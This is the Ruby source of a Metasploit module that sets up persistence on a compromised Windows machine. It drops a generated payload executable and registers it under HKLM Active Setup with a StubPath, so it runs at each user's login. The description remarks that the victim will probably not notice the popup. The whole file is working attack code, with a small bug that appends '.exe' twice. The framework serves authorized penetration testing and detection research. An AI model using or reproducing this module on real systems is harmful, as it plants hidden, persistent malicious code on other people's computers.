Windows Registry Active Setup Persistence

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::Powershell
  include Msf::Post::Windows::Registry
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Registry Active Setup Persistence',
        'Description' => %q{
          This module will register a payload to run via the Active Setup mechanism in Windows.
          Active Setup is a Windows feature that runs once per user at login.
          It triggers in a user context, losing privileges from admin to user.

          Active Setup will open a popup box with "Personalized Settings" and the text
          "Setting up personalized settings for: <SETUP_NAME>". However
          this won't occur until the login screen has exited (but before the desktop
          is loaded), and our execution is extremely fast so likely the user will not
          see it.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die',
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => ['meterpreter', 'shell'],
        'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
          ['ATT&CK', Mitre::Attack::Technique::T1547_014_ACTIVE_SETUP],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['URL', 'https://hadess.io/the-art-of-windows-persistence/']
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2015-12-01',
        'Notes' => {
          'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS, SCREEN_EFFECTS]
        }
      )
    )

    register_options([
      OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
      OptString.new('SETUP_NAME', [false, 'Name of the setup program.', 'Update']),
    ])
  end

  def regkey
    'HKLM\\Software\\Microsoft\\Active Setup\\Installed Components'
  end

  def check
    return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft').include?('PowerShell')

    vprint_good('Powershell detected on system')

    # test write to see if we have access
    rand = Rex::Text.rand_guid

    vprint_status("Checking registry write access to: #{regkey}\\#{rand}")
    return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{regkey}\\#{rand}") if registry_createkey("#{regkey}\\#{rand}").nil?

    registry_deletekey("#{regkey}\\#{rand}")

    Msf::Exploit::CheckCode::Vulnerable('Registry writable')
  end

  def install_persistence
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
    payload_name << '.exe' unless payload_name.downcase.end_with?('.exe')
    payload_exe = generate_payload_exe
    payload_pathname = writable_dir + '\\' + payload_name + '.exe'
    vprint_good("Writing payload to #{payload_pathname}")
    fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)

    rand = Rex::Text.rand_guid
    rand = Rex::Text.rand_guid while registry_key_exist?("#{regkey}\\#{rand}")

    print_status("Using installer guid: #{rand}")
    registry_createkey("#{regkey}\\#{rand}")
    registry_setvaldata("#{regkey}\\#{rand}", 'StubPath', "cmd /c start \"\" \"#{payload_pathname}\"", 'REG_SZ')
    registry_setvaldata("#{regkey}\\#{rand}", '', datastore['SETUP_NAME'], 'REG_SZ')

    @clean_up_rc = %(execute -f cmd.exe -a "/c reg delete \\\"#{regkey}\\#{rand}\\\" /f" -H\n)
    @clean_up_rc << %(execute -f cmd.exe -a "/c reg delete \\\"#{regkey.sub('HKLM', 'HKCU')}\\#{rand}\\\" /f" -H\n)
    @clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n"
  end
end